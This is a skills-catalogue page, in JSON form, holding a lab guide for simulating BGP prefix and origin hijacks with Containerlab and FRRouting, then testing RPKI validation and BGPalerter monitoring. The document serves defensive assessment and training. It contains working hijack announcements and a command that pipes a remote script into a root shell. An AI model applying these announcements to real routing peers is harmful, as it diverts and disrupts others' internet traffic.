[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B6EV5CY1XFNKRBV2MPBGQS":3,"skill-same:01M7B6EV5CY1XFNKRBV2MPBGQS":80},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":44,"commitSha":45,"skillDirectory":46,"forksCount":13,"repositoryHtmlUrl":47,"repositoryHomepageUrl":6,"ownerHtmlUrl":48,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":49,"install":50,"resources":63},"01M7B6EV5CY1XFNKRBV2MPBGQS","exploiting-bgp-hijacking-vulnerabilities",null,"Analyzes and simulates BGP hijacking scenarios in authorized lab environments to assess route origin validation, RPKI deployment, and BGP monitoring defenses against prefix hijacking and route leak attacks on internet routing infrastructure.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-bgp-hijacking-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-bgp-hijacking-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-bgp-hijacking-vulnerabilities\ndescription: 'Analyzes and simulates BGP hijacking scenarios in authorized lab environments\n  to assess route origin validation, RPKI deployment, and BGP monitoring defenses\n  against prefix hijacking and route leak attacks on internet routing infrastructure.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- bgp\n- routing-security\n- rpki\n- route-hijacking\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n---\n# Exploiting BGP Hijacking Vulnerabilities\n\n## When to Use\n\n- Assessing an organization's exposure to BGP prefix hijacking and route leak attacks\n- Testing RPKI (Resource Public Key Infrastructure) deployment and route origin validation effectiveness\n- Validating BGP monitoring and alerting systems detect unauthorized route announcements\n- Simulating BGP hijacking in isolated lab environments to train network operations teams\n- Evaluating ISP prefix filtering and route origin authorization (ROA) configurations\n\n**Do not use** to perform actual BGP hijacking on the live internet, against BGP peers without authorization, or to disrupt real internet routing infrastructure. BGP attacks on production systems are illegal and can cause widespread internet outages.\n\n## Prerequisites\n\n- Isolated BGP lab environment using GNS3, EVE-NG, or Containerlab with virtual routers (FRRouting, BIRD, or Cisco IOS)\n- Understanding of BGP path attributes, AS path, prefix announcements, and route selection\n- Access to BGP looking glass servers and RPKI validators for monitoring real-world route status\n- bgpstream, RIPEstat, and BGPalerter tools for route monitoring\n- Written authorization for any testing that involves real AS numbers or prefix announcements\n\n## Workflow\n\n### Step 1: Build an Isolated BGP Lab Environment\n\n```bash\n# Install Containerlab for BGP simulation\nsudo bash -c \"$(curl -sL https:\u002F\u002Fget.containerlab.dev)\"\n\n# Create a BGP lab topology file\ncat > bgp-lab.clab.yml \u003C\u003C 'EOF'\nname: bgp-hijack-lab\ntopology:\n  nodes:\n    # Legitimate AS (AS65001) announcing 10.0.0.0\u002F24\n    legitimate-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - legitimate-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n    # Attacker AS (AS65002) that will hijack the prefix\n    attacker-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - attacker-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n    # Transit provider (AS65000) connecting both\n    transit-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - transit-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n    # Victim network receiving routes\n    victim-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - victim-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n  links:\n    - endpoints: [\"legitimate-router:eth1\", \"transit-router:eth1\"]\n    - endpoints: [\"attacker-router:eth1\", \"transit-router:eth2\"]\n    - endpoints: [\"transit-router:eth3\", \"victim-router:eth1\"]\nEOF\n\n# Configure legitimate router (AS65001)\ncat > legitimate-frr.conf \u003C\u003C 'EOF'\nfrr defaults traditional\nhostname legitimate-router\nrouter bgp 65001\n bgp router-id 1.1.1.1\n neighbor 10.0.1.2 remote-as 65000\n address-family ipv4 unicast\n  network 10.0.0.0\u002F24\n  neighbor 10.0.1.2 activate\n exit-address-family\n!\ninterface eth1\n ip address 10.0.1.1\u002F30\n!\ninterface lo\n ip address 10.0.0.1\u002F24\nEOF\n\n# Configure attacker router (AS65002) -- initially not announcing the prefix\ncat > attacker-frr.conf \u003C\u003C 'EOF'\nfrr defaults traditional\nhostname attacker-router\nrouter bgp 65002\n bgp router-id 2.2.2.2\n neighbor 10.0.2.2 remote-as 65000\n address-family ipv4 unicast\n  neighbor 10.0.2.2 activate\n exit-address-family\n!\ninterface eth1\n ip address 10.0.2.1\u002F30\nEOF\n\n# Deploy the lab\nsudo containerlab deploy -t bgp-lab.clab.yml\n```\n\n### Step 2: Verify Legitimate BGP Routing\n\n```bash\n# Connect to victim router and verify route to 10.0.0.0\u002F24\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip bgp\"\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip route 10.0.0.0\u002F24\"\n\n# Expected: Route via AS65000 AS65001 (legitimate path)\n# Verify traceroute follows the legitimate path\ndocker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1\n\n# Check BGP table on transit router\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show ip bgp 10.0.0.0\u002F24\"\n```\n\n### Step 3: Simulate Prefix Hijack (More-Specific Route)\n\n```bash\n# On the attacker router, announce more-specific prefixes\ndocker exec -it clab-bgp-hijack-lab-attacker-router vtysh \u003C\u003C 'VTYSH'\nconfigure terminal\nrouter bgp 65002\n address-family ipv4 unicast\n  network 10.0.0.0\u002F25\n  network 10.0.0.128\u002F25\n exit-address-family\n!\ninterface lo\n ip address 10.0.0.1\u002F25\n ip address 10.0.0.129\u002F25\nexit\nend\nwrite memory\nVTYSH\n\n# Verify the hijack on the victim router\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip bgp 10.0.0.0\u002F24 longer-prefixes\"\n\n# The victim should now prefer the \u002F25 routes via the attacker\n# because more-specific routes always win in IP routing\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip route 10.0.0.1\"\n# Expected: Route now via AS65000 AS65002 (attacker)\n```\n\n### Step 4: Simulate AS Path Prepend and Origin Hijack\n\n```bash\n# Origin hijack: Attacker announces the exact \u002F24 prefix\ndocker exec -it clab-bgp-hijack-lab-attacker-router vtysh \u003C\u003C 'VTYSH'\nconfigure terminal\nrouter bgp 65002\n address-family ipv4 unicast\n  network 10.0.0.0\u002F24\n  no network 10.0.0.0\u002F25\n  no network 10.0.0.128\u002F25\n exit-address-family\nend\nwrite memory\nVTYSH\n\n# Check which route the victim prefers\n# With equal prefix length, shortest AS path wins\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip bgp 10.0.0.0\u002F24\"\n# Both routes visible, attacker may win based on AS path length\n\n# Analyze how BGP path selection determines the winner\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show ip bgp 10.0.0.0\u002F24 bestpath-compare\"\n```\n\n### Step 5: Test RPKI Route Origin Validation\n\n```bash\n# Set up RPKI validator (Routinator)\ndocker run -d --name routinator \\\n  -p 3323:3323 -p 8323:8323 \\\n  nlnetlabs\u002Froutinator:latest\n\n# Configure transit router to use RPKI validation\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh \u003C\u003C 'VTYSH'\nconfigure terminal\nrpki\n rpki cache 172.17.0.1 3323 preference 1\nexit\n!\nroute-map RPKI-FILTER permit 10\n match rpki valid\n!\nroute-map RPKI-FILTER deny 20\n match rpki invalid\n!\nroute-map RPKI-FILTER permit 30\n match rpki notfound\n!\nrouter bgp 65000\n address-family ipv4 unicast\n  neighbor 10.0.2.1 route-map RPKI-FILTER in\n exit-address-family\nend\nwrite memory\nVTYSH\n\n# Verify RPKI status\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show rpki prefix-table\"\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show ip bgp 10.0.0.0\u002F24\"\n# Attacker's announcement should be marked as RPKI Invalid if ROA exists\n```\n\n### Step 6: Monitor and Detect BGP Anomalies\n\n```bash\n# Install BGPalerter for real-time monitoring\nnpm install -g bgpalerter\nbgpalerter generate -o \u002Fetc\u002Fbgpalerter\n\n# Configure BGPalerter to monitor your prefixes\ncat > \u002Fetc\u002Fbgpalerter\u002Fprefixes.yml \u003C\u003C 'EOF'\n10.0.0.0\u002F24:\n  description: Production Network\n  asn: 65001\n  ignoreMorespecifics: false\n  group: production\nEOF\n\n# Start monitoring\nbgpalerter\n\n# Use bgpstream to query historical routing data\npip3 install pybgpstream\n\npython3 \u003C\u003C 'PYEOF'\nimport pybgpstream\n\n# Query for historical prefix announcements\nstream = pybgpstream.BGPStream(\n    from_time=\"2024-03-14 00:00:00\",\n    until_time=\"2024-03-15 00:00:00\",\n    collectors=[\"route-views2\", \"rrc00\"],\n    record_type=\"updates\",\n    filter=\"prefix more 10.0.0.0\u002F24\"\n)\n\nfor rec in stream.records():\n    for elem in rec:\n        if elem.type == \"A\":  # Announcement\n            print(f\"Time: {elem.time}\")\n            print(f\"Prefix: {elem.fields['prefix']}\")\n            print(f\"AS Path: {elem.fields['as-path']}\")\n            print(f\"Peer: {elem.peer_asn}\")\n            print(\"---\")\nPYEOF\n\n# Check RPKI status via RIPEstat\ncurl -s \"https:\u002F\u002Fstat.ripe.net\u002Fdata\u002Frpki-validation\u002Fdata.json?resource=AS65001&prefix=10.0.0.0\u002F24\" | python3 -m json.tool\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **BGP Hijacking** | Unauthorized announcement of IP prefixes by an AS that does not own them, diverting traffic through the attacker's network |\n| **More-Specific Hijack** | Announcing longer (more-specific) prefixes than the victim's, which always win in IP routing due to longest-prefix-match rule |\n| **RPKI (Resource PKI)** | Cryptographic framework that allows IP prefix holders to authorize specific ASNs to originate their routes via Route Origin Authorizations (ROAs) |\n| **Route Origin Authorization (ROA)** | Digitally signed object that authorizes an AS to originate a specific IP prefix, enabling RPKI-based route validation |\n| **AS Path Prepending** | BGP technique of adding duplicate AS numbers to the AS path to make a route less preferred, also used defensively against hijacking |\n| **Route Leak** | Propagation of BGP routing announcements beyond their intended scope, such as a customer re-advertising transit provider routes to other providers |\n\n## Tools & Systems\n\n- **Containerlab**: Network lab orchestration tool for deploying virtual router topologies using Docker containers\n- **FRRouting (FRR)**: Open-source routing suite supporting BGP, OSPF, IS-IS with RPKI validation capabilities\n- **BGPalerter**: Real-time BGP monitoring tool that detects prefix hijacking, route leaks, and RPKI status changes\n- **Routinator**: RPKI Relying Party software that validates ROAs and provides validated prefix-origin data to routers\n- **pybgpstream**: Python library for analyzing historical and real-time BGP data from RouteViews and RIPE RIS collectors\n\n## Common Scenarios\n\n### Scenario: Assessing an Organization's BGP Hijacking Resilience\n\n**Context**: A cloud hosting company (AS12345) announces 203.0.113.0\u002F24 for their customer-facing services. They need to assess their resilience to BGP hijacking attacks and verify their RPKI deployment is effective. The assessment includes lab simulation and real-world monitoring validation.\n\n**Approach**:\n1. Build a Containerlab topology replicating the organization's BGP peering with two upstream ISPs\n2. Verify that ROA records are correctly published for all the organization's prefixes using RIPEstat\n3. Simulate a more-specific prefix hijack (\u002F25) from a rogue AS and verify that upstream ISPs with RPKI validation drop the invalid routes\n4. Simulate an exact-match origin hijack and verify that RPKI ROV marks the route as invalid\n5. Test route leak scenarios where a customer AS re-announces the provider's prefix\n6. Deploy BGPalerter in production to continuously monitor for unauthorized announcements\n7. Verify that the organization's ISPs have proper prefix filtering (IRR-based and RPKI) configured\n\n**Pitfalls**:\n- Testing BGP hijacking on real internet infrastructure instead of isolated lab environments\n- Assuming RPKI alone prevents all hijacking -- many networks still do not validate RPKI\n- Not testing more-specific prefix announcements, which bypass origin validation if no max-length is set in ROAs\n- Overlooking route leak scenarios where authorized peers inadvertently redistribute routes\n\n## Output Format\n\n```\n## BGP Security Assessment Report\n\n**Organization**: Cloud Hosting Co. (AS12345)\n**Prefixes Assessed**: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n**Assessment Date**: 2024-03-15\n\n### RPKI Status\n\n| Prefix | ROA Exists | Max Length | Origin AS | Status |\n|--------|-----------|------------|-----------|--------|\n| 203.0.113.0\u002F24 | Yes | \u002F24 | AS12345 | Valid |\n| 198.51.100.0\u002F24 | No | N\u002FA | AS12345 | Not Found |\n\n### Lab Simulation Results\n\n| Attack Type | RPKI Validation | Result |\n|-------------|-----------------|--------|\n| More-specific \u002F25 hijack | Enabled | BLOCKED (Invalid origin) |\n| More-specific \u002F25 hijack | Disabled | SUCCESSFUL (traffic diverted) |\n| Exact-match origin hijack | Enabled | BLOCKED (Invalid origin) |\n| Route leak via customer | Enabled | NOT BLOCKED (valid origin, wrong path) |\n\n### Recommendations\n1. Create ROA for 198.51.100.0\u002F24 (currently unprotected)\n2. Set max-length to \u002F24 in ROAs to prevent more-specific hijacks\n3. Request upstream ISPs enable RPKI Route Origin Validation\n4. Deploy BGPalerter for continuous prefix monitoring\n5. Register with IRR databases and request prefix filtering from peers\n```\n","# Exploiting BGP Hijacking Vulnerabilities\n\n## When to Use\n\n- Assessing an organization's exposure to BGP prefix hijacking and route leak attacks\n- Testing RPKI (Resource Public Key Infrastructure) deployment and route origin validation effectiveness\n- Validating BGP monitoring and alerting systems detect unauthorized route announcements\n- Simulating BGP hijacking in isolated lab environments to train network operations teams\n- Evaluating ISP prefix filtering and route origin authorization (ROA) configurations\n\n**Do not use** to perform actual BGP hijacking on the live internet, against BGP peers without authorization, or to disrupt real internet routing infrastructure. BGP attacks on production systems are illegal and can cause widespread internet outages.\n\n## Prerequisites\n\n- Isolated BGP lab environment using GNS3, EVE-NG, or Containerlab with virtual routers (FRRouting, BIRD, or Cisco IOS)\n- Understanding of BGP path attributes, AS path, prefix announcements, and route selection\n- Access to BGP looking glass servers and RPKI validators for monitoring real-world route status\n- bgpstream, RIPEstat, and BGPalerter tools for route monitoring\n- Written authorization for any testing that involves real AS numbers or prefix announcements\n\n## Workflow\n\n### Step 1: Build an Isolated BGP Lab Environment\n\n```bash\n# Install Containerlab for BGP simulation\nsudo bash -c \"$(curl -sL https:\u002F\u002Fget.containerlab.dev)\"\n\n# Create a BGP lab topology file\ncat > bgp-lab.clab.yml \u003C\u003C 'EOF'\nname: bgp-hijack-lab\ntopology:\n  nodes:\n    # Legitimate AS (AS65001) announcing 10.0.0.0\u002F24\n    legitimate-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - legitimate-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n    # Attacker AS (AS65002) that will hijack the prefix\n    attacker-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - attacker-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n    # Transit provider (AS65000) connecting both\n    transit-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - transit-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n    # Victim network receiving routes\n    victim-router:\n      kind: linux\n      image: frrouting\u002Ffrr:v8.5.0\n      binds:\n        - victim-frr.conf:\u002Fetc\u002Ffrr\u002Ffrr.conf\n  links:\n    - endpoints: [\"legitimate-router:eth1\", \"transit-router:eth1\"]\n    - endpoints: [\"attacker-router:eth1\", \"transit-router:eth2\"]\n    - endpoints: [\"transit-router:eth3\", \"victim-router:eth1\"]\nEOF\n\n# Configure legitimate router (AS65001)\ncat > legitimate-frr.conf \u003C\u003C 'EOF'\nfrr defaults traditional\nhostname legitimate-router\nrouter bgp 65001\n bgp router-id 1.1.1.1\n neighbor 10.0.1.2 remote-as 65000\n address-family ipv4 unicast\n  network 10.0.0.0\u002F24\n  neighbor 10.0.1.2 activate\n exit-address-family\n!\ninterface eth1\n ip address 10.0.1.1\u002F30\n!\ninterface lo\n ip address 10.0.0.1\u002F24\nEOF\n\n# Configure attacker router (AS65002) -- initially not announcing the prefix\ncat > attacker-frr.conf \u003C\u003C 'EOF'\nfrr defaults traditional\nhostname attacker-router\nrouter bgp 65002\n bgp router-id 2.2.2.2\n neighbor 10.0.2.2 remote-as 65000\n address-family ipv4 unicast\n  neighbor 10.0.2.2 activate\n exit-address-family\n!\ninterface eth1\n ip address 10.0.2.1\u002F30\nEOF\n\n# Deploy the lab\nsudo containerlab deploy -t bgp-lab.clab.yml\n```\n\n### Step 2: Verify Legitimate BGP Routing\n\n```bash\n# Connect to victim router and verify route to 10.0.0.0\u002F24\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip bgp\"\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip route 10.0.0.0\u002F24\"\n\n# Expected: Route via AS65000 AS65001 (legitimate path)\n# Verify traceroute follows the legitimate path\ndocker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1\n\n# Check BGP table on transit router\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show ip bgp 10.0.0.0\u002F24\"\n```\n\n### Step 3: Simulate Prefix Hijack (More-Specific Route)\n\n```bash\n# On the attacker router, announce more-specific prefixes\ndocker exec -it clab-bgp-hijack-lab-attacker-router vtysh \u003C\u003C 'VTYSH'\nconfigure terminal\nrouter bgp 65002\n address-family ipv4 unicast\n  network 10.0.0.0\u002F25\n  network 10.0.0.128\u002F25\n exit-address-family\n!\ninterface lo\n ip address 10.0.0.1\u002F25\n ip address 10.0.0.129\u002F25\nexit\nend\nwrite memory\nVTYSH\n\n# Verify the hijack on the victim router\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip bgp 10.0.0.0\u002F24 longer-prefixes\"\n\n# The victim should now prefer the \u002F25 routes via the attacker\n# because more-specific routes always win in IP routing\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip route 10.0.0.1\"\n# Expected: Route now via AS65000 AS65002 (attacker)\n```\n\n### Step 4: Simulate AS Path Prepend and Origin Hijack\n\n```bash\n# Origin hijack: Attacker announces the exact \u002F24 prefix\ndocker exec -it clab-bgp-hijack-lab-attacker-router vtysh \u003C\u003C 'VTYSH'\nconfigure terminal\nrouter bgp 65002\n address-family ipv4 unicast\n  network 10.0.0.0\u002F24\n  no network 10.0.0.0\u002F25\n  no network 10.0.0.128\u002F25\n exit-address-family\nend\nwrite memory\nVTYSH\n\n# Check which route the victim prefers\n# With equal prefix length, shortest AS path wins\ndocker exec -it clab-bgp-hijack-lab-victim-router vtysh -c \"show ip bgp 10.0.0.0\u002F24\"\n# Both routes visible, attacker may win based on AS path length\n\n# Analyze how BGP path selection determines the winner\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show ip bgp 10.0.0.0\u002F24 bestpath-compare\"\n```\n\n### Step 5: Test RPKI Route Origin Validation\n\n```bash\n# Set up RPKI validator (Routinator)\ndocker run -d --name routinator \\\n  -p 3323:3323 -p 8323:8323 \\\n  nlnetlabs\u002Froutinator:latest\n\n# Configure transit router to use RPKI validation\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh \u003C\u003C 'VTYSH'\nconfigure terminal\nrpki\n rpki cache 172.17.0.1 3323 preference 1\nexit\n!\nroute-map RPKI-FILTER permit 10\n match rpki valid\n!\nroute-map RPKI-FILTER deny 20\n match rpki invalid\n!\nroute-map RPKI-FILTER permit 30\n match rpki notfound\n!\nrouter bgp 65000\n address-family ipv4 unicast\n  neighbor 10.0.2.1 route-map RPKI-FILTER in\n exit-address-family\nend\nwrite memory\nVTYSH\n\n# Verify RPKI status\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show rpki prefix-table\"\ndocker exec -it clab-bgp-hijack-lab-transit-router vtysh -c \"show ip bgp 10.0.0.0\u002F24\"\n# Attacker's announcement should be marked as RPKI Invalid if ROA exists\n```\n\n### Step 6: Monitor and Detect BGP Anomalies\n\n```bash\n# Install BGPalerter for real-time monitoring\nnpm install -g bgpalerter\nbgpalerter generate -o \u002Fetc\u002Fbgpalerter\n\n# Configure BGPalerter to monitor your prefixes\ncat > \u002Fetc\u002Fbgpalerter\u002Fprefixes.yml \u003C\u003C 'EOF'\n10.0.0.0\u002F24:\n  description: Production Network\n  asn: 65001\n  ignoreMorespecifics: false\n  group: production\nEOF\n\n# Start monitoring\nbgpalerter\n\n# Use bgpstream to query historical routing data\npip3 install pybgpstream\n\npython3 \u003C\u003C 'PYEOF'\nimport pybgpstream\n\n# Query for historical prefix announcements\nstream = pybgpstream.BGPStream(\n    from_time=\"2024-03-14 00:00:00\",\n    until_time=\"2024-03-15 00:00:00\",\n    collectors=[\"route-views2\", \"rrc00\"],\n    record_type=\"updates\",\n    filter=\"prefix more 10.0.0.0\u002F24\"\n)\n\nfor rec in stream.records():\n    for elem in rec:\n        if elem.type == \"A\":  # Announcement\n            print(f\"Time: {elem.time}\")\n            print(f\"Prefix: {elem.fields['prefix']}\")\n            print(f\"AS Path: {elem.fields['as-path']}\")\n            print(f\"Peer: {elem.peer_asn}\")\n            print(\"---\")\nPYEOF\n\n# Check RPKI status via RIPEstat\ncurl -s \"https:\u002F\u002Fstat.ripe.net\u002Fdata\u002Frpki-validation\u002Fdata.json?resource=AS65001&prefix=10.0.0.0\u002F24\" | python3 -m json.tool\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **BGP Hijacking** | Unauthorized announcement of IP prefixes by an AS that does not own them, diverting traffic through the attacker's network |\n| **More-Specific Hijack** | Announcing longer (more-specific) prefixes than the victim's, which always win in IP routing due to longest-prefix-match rule |\n| **RPKI (Resource PKI)** | Cryptographic framework that allows IP prefix holders to authorize specific ASNs to originate their routes via Route Origin Authorizations (ROAs) |\n| **Route Origin Authorization (ROA)** | Digitally signed object that authorizes an AS to originate a specific IP prefix, enabling RPKI-based route validation |\n| **AS Path Prepending** | BGP technique of adding duplicate AS numbers to the AS path to make a route less preferred, also used defensively against hijacking |\n| **Route Leak** | Propagation of BGP routing announcements beyond their intended scope, such as a customer re-advertising transit provider routes to other providers |\n\n## Tools & Systems\n\n- **Containerlab**: Network lab orchestration tool for deploying virtual router topologies using Docker containers\n- **FRRouting (FRR)**: Open-source routing suite supporting BGP, OSPF, IS-IS with RPKI validation capabilities\n- **BGPalerter**: Real-time BGP monitoring tool that detects prefix hijacking, route leaks, and RPKI status changes\n- **Routinator**: RPKI Relying Party software that validates ROAs and provides validated prefix-origin data to routers\n- **pybgpstream**: Python library for analyzing historical and real-time BGP data from RouteViews and RIPE RIS collectors\n\n## Common Scenarios\n\n### Scenario: Assessing an Organization's BGP Hijacking Resilience\n\n**Context**: A cloud hosting company (AS12345) announces 203.0.113.0\u002F24 for their customer-facing services. They need to assess their resilience to BGP hijacking attacks and verify their RPKI deployment is effective. The assessment includes lab simulation and real-world monitoring validation.\n\n**Approach**:\n1. Build a Containerlab topology replicating the organization's BGP peering with two upstream ISPs\n2. Verify that ROA records are correctly published for all the organization's prefixes using RIPEstat\n3. Simulate a more-specific prefix hijack (\u002F25) from a rogue AS and verify that upstream ISPs with RPKI validation drop the invalid routes\n4. Simulate an exact-match origin hijack and verify that RPKI ROV marks the route as invalid\n5. Test route leak scenarios where a customer AS re-announces the provider's prefix\n6. Deploy BGPalerter in production to continuously monitor for unauthorized announcements\n7. Verify that the organization's ISPs have proper prefix filtering (IRR-based and RPKI) configured\n\n**Pitfalls**:\n- Testing BGP hijacking on real internet infrastructure instead of isolated lab environments\n- Assuming RPKI alone prevents all hijacking -- many networks still do not validate RPKI\n- Not testing more-specific prefix announcements, which bypass origin validation if no max-length is set in ROAs\n- Overlooking route leak scenarios where authorized peers inadvertently redistribute routes\n\n## Output Format\n\n```\n## BGP Security Assessment Report\n\n**Organization**: Cloud Hosting Co. (AS12345)\n**Prefixes Assessed**: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n**Assessment Date**: 2024-03-15\n\n### RPKI Status\n\n| Prefix | ROA Exists | Max Length | Origin AS | Status |\n|--------|-----------|------------|-----------|--------|\n| 203.0.113.0\u002F24 | Yes | \u002F24 | AS12345 | Valid |\n| 198.51.100.0\u002F24 | No | N\u002FA | AS12345 | Not Found |\n\n### Lab Simulation Results\n\n| Attack Type | RPKI Validation | Result |\n|-------------|-----------------|--------|\n| More-specific \u002F25 hijack | Enabled | BLOCKED (Invalid origin) |\n| More-specific \u002F25 hijack | Disabled | SUCCESSFUL (traffic diverted) |\n| Exact-match origin hijack | Enabled | BLOCKED (Invalid origin) |\n| Route leak via customer | Enabled | NOT BLOCKED (valid origin, wrong path) |\n\n### Recommendations\n1. Create ROA for 198.51.100.0\u002F24 (currently unprotected)\n2. Set max-length to \u002F24 in ROAs to prevent more-specific hijacks\n3. Request upstream ISPs enable RPKI Route Origin Validation\n4. Deploy BGPalerter for continuous prefix monitoring\n5. Register with IRR databases and request prefix filtering from peers\n```\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":25,"description":38,"mitre_attack":39},[25,26,27,28,29],"network-security","bgp","routing-security","rpki","route-hijacking","mahipal","cybersecurity","1.0",[34,35,36,37],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Analyzes and simulates BGP hijacking scenarios in authorized lab environments to assess route origin validation, RPKI deployment, and BGP monitoring defenses against prefix hijacking and route leak attacks on internet routing infrastructure.\n",[40,41,42,43],"T1046","T1040","T1557","T1071","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-bgp-hijacking-vulnerabilities","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-bgp-hijacking-vulnerabilities",{"tool":56,"command":57},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-bgp-hijacking-vulnerabilities",{"tool":59,"command":60},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-bgp-hijacking-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-bgp-hijacking-vulnerabilities\u002FSKILL.md",true,[64,68,74],{"path":65,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"references\u002Fapi-reference.md","REFERENCE","参考文档",1675,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-bgp-hijacking-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":75,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"scripts\u002Fagent.py","SCRIPT","脚本",5444,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-bgp-hijacking-vulnerabilities\u002Fscripts\u002Fagent.py",[81,89,96,103,110,117],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or 